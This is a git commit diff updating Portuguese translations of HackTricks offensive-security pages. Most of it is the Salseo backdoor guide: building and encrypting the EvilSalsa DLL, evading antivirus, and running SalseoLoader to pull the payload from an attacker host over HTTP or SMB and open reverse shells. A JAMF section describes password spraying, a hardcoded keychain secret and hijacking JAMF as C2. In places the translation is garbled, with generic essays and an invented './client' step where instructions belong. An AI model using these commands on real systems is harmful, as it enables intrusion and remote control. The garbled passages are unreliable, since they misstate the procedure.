Translated ['backdoors/salseo.md', 'macos-hardening/macos-red-teaming/RE

This commit is contained in:
Translator 2023-08-15 18:30:18 +00:00
parent e404f119de
commit 20877bc4c4
27 changed files with 546 additions and 319 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 447 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 447 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 76 KiB

After

Width:  |  Height:  |  Size: 90 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 94 KiB

After

Width:  |  Height:  |  Size: 199 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 199 KiB

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 MiB

After

Width:  |  Height:  |  Size: 100 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 795 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 795 KiB

After

Width:  |  Height:  |  Size: 104 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 104 KiB

After

Width:  |  Height:  |  Size: 18 KiB

View file

@ -4,11 +4,11 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -16,11 +16,11 @@
Baixe o código-fonte do github e compile **EvilSalsa** e **SalseoLoader**. Você precisará do **Visual Studio** instalado para compilar o código.
Compile esses projetos para a arquitetura da máquina Windows onde você vai usá-los (se o Windows suportar x64, compile-os para essa arquitetura).
Compile esses projetos para a arquitetura da máquina Windows onde você vai usá-los (Se o Windows suportar x64, compile-os para essa arquitetura).
Você pode **selecionar a arquitetura** dentro do Visual Studio na **aba "Build" à esquerda** em **"Platform Target".**
(\*\*Se você não encontrar essas opções, pressione em **"Project Tab"** e depois em **"\<Project Name> Properties"**)
(\*\*Se você não encontrar essas opções, clique em **"Project Tab"** e depois em **"\<Project Name> Properties"**)
![](<../.gitbook/assets/image (132).png>)
@ -30,55 +30,61 @@ Em seguida, construa ambos os projetos (Build -> Build Solution) (Dentro dos log
## Preparando a Backdoor
Antes de tudo, você precisará codificar o **EvilSalsa.dll**. Para fazer isso, você pode usar o script python **encrypterassembly.py** ou pode compilar o projeto **EncrypterAssembly**:
Antes de tudo, você precisará codificar o **EvilSalsa.dll**. Para fazer isso, você pode usar o script python **encrypterassembly.py** ou pode compilar o projeto **EncrypterAssembly**:
### **Python**
```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
# Backdoors em Windows
### Introdução
Um backdoor é uma forma de acesso não autorizado a um sistema ou rede, que permite ao invasor contornar as medidas de segurança e obter controle remoto sobre o sistema comprometido. Existem várias técnicas para criar backdoors em sistemas Windows, algumas das quais são discutidas abaixo.
O Windows é o sistema operacional mais utilizado no mundo, o que o torna um alvo popular para hackers. Nesta seção, discutiremos algumas técnicas de backdoor que podem ser usadas em sistemas Windows.
## 1. Porta dos fundos do Registro do Windows
### Backdoors
O Registro do Windows é um banco de dados que armazena configurações e informações importantes do sistema operacional. Um invasor pode criar uma entrada de registro maliciosa que executa um programa ou script sempre que o sistema é iniciado. Isso permite que o invasor mantenha acesso persistente ao sistema comprometido.
#### Backdoor de Registro
## 2. Backdoors baseados em serviços
O registro do Windows é um banco de dados que armazena configurações e opções para o sistema operacional e para os programas instalados. Um backdoor pode ser adicionado ao registro para permitir que um invasor acesse o sistema sem ser detectado. Isso pode ser feito adicionando uma chave de registro que executa um comando ou script malicioso.
Os serviços do Windows são programas que são executados em segundo plano e fornecem funcionalidades específicas para o sistema operacional. Um invasor pode criar um serviço malicioso que é executado em segundo plano e fornece acesso remoto ao sistema comprometido. Esse tipo de backdoor é difícil de detectar, pois se disfarça como um serviço legítimo.
#### Backdoor de Serviço
## 3. Backdoors baseados em arquivos executáveis
Os serviços do Windows são programas que são executados em segundo plano e fornecem funcionalidades para o sistema operacional e para os programas instalados. Um backdoor pode ser adicionado como um serviço para permitir que um invasor acesse o sistema sem ser detectado. Isso pode ser feito criando um serviço que executa um comando ou script malicioso.
Um invasor pode modificar um arquivo executável existente no sistema para incluir um código malicioso que permite o acesso remoto. Quando o arquivo é executado, o código malicioso é ativado e o invasor obtém controle sobre o sistema comprometido. Essa técnica é conhecida como "injeção de código" e pode ser usada para criar backdoors em aplicativos legítimos.
#### Backdoor de Arquivo
## 4. Backdoors baseados em drivers
Um backdoor pode ser adicionado a um arquivo executável do Windows para permitir que um invasor acesse o sistema sem ser detectado. Isso pode ser feito injetando código malicioso no arquivo executável ou anexando um arquivo executável malicioso a um arquivo legítimo.
Os drivers são programas que permitem que o sistema operacional se comunique com dispositivos de hardware. Um invasor pode criar um driver malicioso que é carregado pelo sistema operacional e fornece acesso remoto ao sistema comprometido. Esse tipo de backdoor é particularmente perigoso, pois tem acesso de nível de kernel e pode contornar as medidas de segurança do sistema operacional.
### Conclusão
## 5. Backdoors baseados em serviços de terminal
Existem várias técnicas de backdoor que podem ser usadas em sistemas Windows. É importante que os administradores de sistemas estejam cientes dessas técnicas e tomem medidas para proteger seus sistemas contra elas.
Os serviços de terminal permitem que vários usuários se conectem e interajam com um sistema remotamente. Um invasor pode criar um serviço de terminal malicioso que permite o acesso remoto ao sistema comprometido. Esse tipo de backdoor é difícil de detectar, pois se disfarça como um serviço legítimo de terminal.
## 6. Backdoors baseados em aplicativos de terceiros
Os aplicativos de terceiros são programas desenvolvidos por empresas ou indivíduos que não são os fabricantes do sistema operacional. Um invasor pode explorar vulnerabilidades em um aplicativo de terceiros para criar um backdoor no sistema comprometido. É importante manter todos os aplicativos atualizados para evitar esse tipo de ataque.
Essas são apenas algumas das técnicas usadas para criar backdoors em sistemas Windows. É importante estar ciente dessas técnicas para poder proteger seu sistema contra ataques de hackers.
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Ok, agora você tem tudo o que precisa para executar todo o processo Salseo: o **EvilDalsa.dll codificado** e o **binário do SalseoLoader.**
Ok, agora você tem tudo o que precisa para executar todo o processo de Salseo: o **EvilDalsa.dll codificado** e o **binário do SalseoLoader**.
**Faça o upload do binário SalseoLoader.exe na máquina. Eles não devem ser detectados por nenhum AV...**
**Faça o upload do binário SalseoLoader.exe para a máquina. Eles não devem ser detectados por nenhum AV...**
## **Executando a backdoor**
### **Obtendo um shell reverso TCP (baixando o dll codificado através do HTTP)**
### **Obtendo um shell reverso TCP (baixando o dll codificado por HTTP)**
Lembre-se de iniciar um nc como ouvinte de shell reverso e um servidor HTTP para servir o evilsalsa codificado.
Lembre-se de iniciar um nc como ouvinte do shell reverso e um servidor HTTP para servir o evilsalsa codificado.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **Obtendo um shell reverso UDP (baixando dll codificada através do SMB)**
### **Obtendo um shell reverso UDP (baixando uma dll codificada através do SMB)**
Lembre-se de iniciar um nc como ouvinte de shell reverso e um servidor SMB para servir o evilsalsa codificado (impacket-smbserver).
Lembre-se de iniciar um nc como ouvinte do shell reverso e um servidor SMB para servir o evilsalsa codificado (impacket-smbserver).
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
@ -86,14 +92,22 @@ SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <A
**Desta vez, você precisa de uma ferramenta especial no cliente para receber o shell reverso. Baixe:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Desativando Respostas ICMP:**
#### **Desativar Respostas ICMP:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Executando o cliente:
#### Executar o cliente:
To execute the client, follow these steps:
1. Open a terminal window.
2. Navigate to the directory where the client is located.
3. Run the command `./client` to execute the client.
The client will now be running and ready to establish a connection with the server.
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
@ -101,13 +115,13 @@ python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## Compilando o SalseoLoader como DLL exportando função principal
## Compilando o SalseoLoader como DLL exportando a função principal
Abra o projeto SalseoLoader usando o Visual Studio.
### Adicione antes da função principal: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1).png>)
![](<../.gitbook/assets/image (2) (1) (1) (1) (1).png>)
### Instale o DllExport para este projeto
@ -115,11 +129,11 @@ Abra o projeto SalseoLoader usando o Visual Studio.
![](<../.gitbook/assets/image (3) (1) (1) (1) (1).png>)
#### **Procure pelo pacote DllExport (usando a guia Procurar), e pressione Instalar (e aceite o popup)**
#### **Procure pelo pacote DllExport (usando a guia Procurar) e pressione Instalar (e aceite o popup)**
![](<../.gitbook/assets/image (4) (1) (1) (1) (1).png>)
Na pasta do seu projeto aparecerão os arquivos: **DllExport.bat** e **DllExport\_Configure.bat**
Na pasta do seu projeto, aparecerão os arquivos: **DllExport.bat** e **DllExport\_Configure.bat**
### **D**esinstale o DllExport
@ -127,13 +141,13 @@ Pressione **Desinstalar** (sim, é estranho, mas confie em mim, é necessário)
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
### **Saia do Visual Studio e execute DllExport\_configure**
### **Saia do Visual Studio e execute o DllExport\_configure**
Apenas **saia** do Visual Studio
Em seguida, vá para a sua pasta **SalseoLoader** e **execute DllExport\_Configure.bat**
Em seguida, vá para a sua **pasta SalseoLoader** e **execute o DllExport\_Configure.bat**
Selecione **x64** (se você for usá-lo dentro de uma caixa x64, esse foi o meu caso), selecione **System.Runtime.InteropServices** (dentro do **Namespace para DllExport**) e pressione **Aplicar**
Selecione **x64** (se você for usá-lo dentro de uma caixa x64, esse foi o meu caso), selecione **System.Runtime.InteropServices** (dentro de **Namespace para DllExport**) e pressione **Aplicar**
![](<../.gitbook/assets/image (7) (1) (1) (1).png>)
@ -145,15 +159,15 @@ Selecione **x64** (se você for usá-lo dentro de uma caixa x64, esse foi o meu
### Compile a solução
Selecione **Tipo de Saída = Biblioteca de Classes** (Projeto --> Propriedades do SalseoLoader --> Aplicativo --> Tipo de Saída = Biblioteca de Classes)
Selecione **Tipo de Saída = Biblioteca de Classes** (Projeto --> Propriedades do SalseoLoader --> Aplicativo --> Tipo de saída = Biblioteca de Classes)
![](<../.gitbook/assets/image (10) (1).png>)
Selecione a **plataforma x64** (Projeto --> Propriedades do SalseoLoader --> Compilar --> Destino da plataforma = x64)
Selecione a **plataforma x64** (Projeto --> Propriedades do SalseoLoader --> Compilação --> Destino da plataforma = x64)
![](<../.gitbook/assets/image (9) (1) (1).png>)
Para **compilar** a solução: Build --> Build Solution (Dentro do console de saída, o caminho da nova DLL aparecerá)
Para **compilar** a solução: Build --> Build Solution (Dentro do console de saída, aparecerá o caminho da nova DLL)
### Teste a DLL gerada
@ -165,9 +179,9 @@ rundll32.exe SalseoLoader.dll,main
```
Se nenhum erro aparecer, provavelmente você tem uma DLL funcional!!
## Obter um shell usando a DLL
## Obtenha um shell usando a DLL
Não se esqueça de usar um **servidor HTTP** e configurar um **ouvinte nc**
Não se esqueça de usar um **servidor** **HTTP** e configurar um **listener** **nc**
### Powershell
```
@ -180,7 +194,15 @@ rundll32.exe SalseoLoader.dll,main
```
### CMD
CMD (Command Prompt) é uma ferramenta de linha de comando do Windows que permite aos usuários interagir com o sistema operacional por meio de comandos. É uma ferramenta poderosa para hackers, pois permite executar comandos rapidamente e sem a necessidade de uma interface gráfica. Além disso, muitas ferramentas de hacking são executadas por meio do CMD.
O CMD (Command Prompt) é uma ferramenta de linha de comando no sistema operacional Windows que permite aos usuários interagir com o sistema operacional por meio de comandos. É uma ferramenta poderosa para executar tarefas administrativas, automatizar processos e realizar várias operações no sistema.
O CMD pode ser usado para executar comandos básicos, como navegar pelos diretórios, criar e excluir arquivos, gerenciar processos e serviços, configurar redes e muito mais. Além disso, o CMD também pode ser usado para executar scripts e programas.
Os hackers podem aproveitar o CMD para executar várias atividades maliciosas, como obter informações confidenciais, explorar vulnerabilidades, criar backdoors e realizar ataques de força bruta. Portanto, é importante estar ciente das possíveis ameaças e tomar medidas para proteger seu sistema contra ataques.
Para evitar o uso indevido do CMD, é recomendável implementar medidas de segurança, como restringir o acesso ao CMD, monitorar atividades suspeitas e manter o sistema operacional e os aplicativos atualizados com as últimas correções de segurança.
Em resumo, o CMD é uma ferramenta poderosa que pode ser usada tanto para fins legítimos quanto maliciosos. É essencial entender seu funcionamento e tomar precauções adequadas para garantir a segurança do sistema.
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -193,10 +215,10 @@ rundll32.exe SalseoLoader.dll,main
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -43,7 +43,7 @@ O JAMF pode executar **scripts personalizados** (scripts desenvolvidos pelo sysa
#### Autoinscrição do JAMF
Acesse uma página como `https://<nome-da-empresa>.jamfcloud.com/enroll/` para ver se eles têm a **autoinscrição ativada**. Se eles tiverem, pode **solicitar credenciais para acessar**.
Acesse uma página como `https://<nome-da-empresa>.jamfcloud.com/enroll/` para ver se eles têm a **autoinscrição habilitada**. Se eles tiverem, pode **solicitar credenciais para acessar**.
Você pode usar o script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) para realizar um ataque de pulverização de senhas.
@ -53,7 +53,7 @@ Além disso, depois de encontrar as credenciais corretas, você pode ser capaz d
#### Autenticação de dispositivo JAMF
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
O binário **`jamf`** continha o segredo para abrir o keychain que, na época da descoberta, era **compartilhado** entre todos e era: **`jk23ucnq91jfu9aj`**.\
Além disso, o jamf **persiste** como um **LaunchDaemon** em **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
@ -76,9 +76,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
<integer>4</integer>
[...]
```
{% endcode %}
Portanto, um invasor poderia inserir um pacote malicioso (`pkg`) que **sobrescreve esse arquivo** quando instalado, definindo a **URL para um ouvinte Mythic C2 de um agente Typhon** para agora poder abusar do JAMF como C2.
Portanto, um invasor poderia inserir um pacote malicioso (`pkg`) que **sobrescreve este arquivo** quando instalado, definindo a **URL para um ouvinte Mythic C2 de um agente Typhon** para agora poder abusar do JAMF como C2.
{% code overflow="wrap" %}
```bash
@ -157,7 +155,7 @@ Os três tipos de usuários do MacOS são:
As informações locais sobre usuários e grupos são armazenadas na pasta _/var/db/dslocal/nodes/Default_.\
Por exemplo, as informações sobre o usuário chamado _mark_ são armazenadas em _/var/db/dslocal/nodes/Default/users/mark.plist_ e as informações sobre o grupo _admin_ estão em _/var/db/dslocal/nodes/Default/groups/admin.plist_.
Além de usar as arestas HasSession e AdminTo, o **MacHound adiciona três novas arestas** ao banco de dados Bloodhound:
Além de usar as arestas HasSession e AdminTo, **MacHound adiciona três novas arestas** ao banco de dados Bloodhound:
* **CanSSH** - entidade permitida a fazer SSH para o host
* **CanVNC** - entidade permitida a fazer VNC para o host

View file

@ -4,43 +4,49 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**swag oficial do PEASS e HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe suas dicas de hacking enviando um PR para** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Informações Básicas
## Informações básicas
As extensões de kernel (Kexts) são **pacotes** com a extensão **`.kext`** que são **carregados diretamente no espaço do kernel** do macOS, fornecendo funcionalidades adicionais ao sistema operacional principal.
### Requisitos
Obviamente, isso é tão poderoso que é complicado carregar uma extensão de kernel. Estes são os requisitos para que uma extensão de kernel seja carregada:
Obviamente, isso é tão poderoso que é complicado carregar uma extensão de kernel. Estes são os requisitos que uma extensão de kernel deve atender para ser carregada:
* Ao entrar no **modo de recuperação**, as extensões de kernel precisam ser **autorizadas a serem carregadas**:
* Ao entrar no **modo de recuperação**, as extensões de kernel devem estar **habilitadas para carregamento**:
<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* A extensão de kernel deve ser **assinada com um certificado de assinatura de código do kernel**, que só pode ser concedido pela **Apple**. Que irá **revisar** detalhadamente a **empresa** e as **razões** pelas quais isso é necessário.
* A extensão de kernel também precisa ser **notarizada**, a Apple poderá verificá-la em busca de malware.
* Em seguida, o **usuário root** é o único que pode carregar a extensão de kernel e os arquivos dentro do pacote devem pertencer ao root.
* Durante o processo de carregamento, o pacote deve ser colocado em um local protegido pelo root: /`Library/StagedExtensions` (requer a concessão `com.apple.rootless.storage.KernelExtensionManagement`)
* Finalmente, ao tentar carregá-lo, o [**usuário será solicitado a confirmar**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) e, se aceito, o computador deve **reiniciar** para carregá-lo.
* A extensão de kernel deve estar **assinada com um certificado de assinatura de código de kernel**, que só pode ser concedido pela **Apple**. Eles revisarão detalhadamente a **empresa** e as **razões** pelas quais é necessária.
* A extensão de kernel também deve ser **notarizada**, a Apple poderá verificá-la em busca de malware.
* Em seguida, o **usuário root** é quem pode carregar a extensão de kernel e os arquivos dentro do pacote devem pertencer ao root.
* Durante o processo de carregamento, o pacote deve ser preparado em uma localização protegida sem raiz: `/Library/StagedExtensions` (requer a concessão `com.apple.rootless.storage.KernelExtensionManagement`)
* Por fim, ao tentar carregá-lo, o [**usuário receberá uma solicitação de confirmação**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) e, se aceita, o computador deve ser **reiniciado** para carregá-lo.
### Processo de Carregamento
### Processo de carregamento
De volta ao Catalina, era assim: É interessante notar que o processo de **verificação** ocorre em **userland**. No entanto, apenas aplicativos com a concessão **`com.apple.private.security.kext-management`** podem **solicitar ao kernel** para **carregar uma extensão:** kextcache, kextload, kextutil, kextd, syspolicyd
No Catalina, era assim: É interessante destacar que o processo de **verificação** ocorre no **userland**. No entanto, apenas aplicativos com a concessão **`com.apple.private.security.kext-management`** podem **solicitar ao kernel** que **carregue uma extensão:** kextcache, kextload, kextutil, kextd, syspolicyd
1. O cli **`kextutil`** **inicia** o processo de verificação para carregar uma extensão
* Ele falará com o **`kextd`** enviando usando um serviço Mach
2. **`kextd`** verificará várias coisas, como a assinatura
* Ele falará com o **`syspolicyd`** para verificar se a extensão pode ser carregada
3. **`syspolicyd`** **pergunta** ao **usuário** se a extensão não foi carregada anteriormente
* **`syspolicyd`** indicará o resultado ao **`kextd`**
4. **`kextd`** finalmente poderá indicar ao **kernel para carregar a extensão**
1. O cli **`kextutil`** inicia o processo de verificação para carregar uma extensão
* Ele se comunica com o **`kextd`** usando um serviço Mach
2. O **`kextd`** verifica várias coisas, como a assinatura
* Ele se comunica com o **`syspolicyd`** para verificar se a extensão pode ser carregada
3. O **`syspolicyd`** **pergunta** ao **usuário** se a extensão não foi carregada anteriormente
* O **`syspolicyd`** informa o resultado ao **`kextd`**
4. O **`kextd`** finalmente pode instruir o **kernel a carregar a extensão**
Se o kextd não estiver disponível, o kextutil pode realizar as mesmas verificações.
@ -53,10 +59,10 @@ Se o kextd não estiver disponível, o kextutil pode realizar as mesmas verifica
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**swag oficial do PEASS e HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe suas técnicas de hacking enviando um PR para** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -4,15 +4,15 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
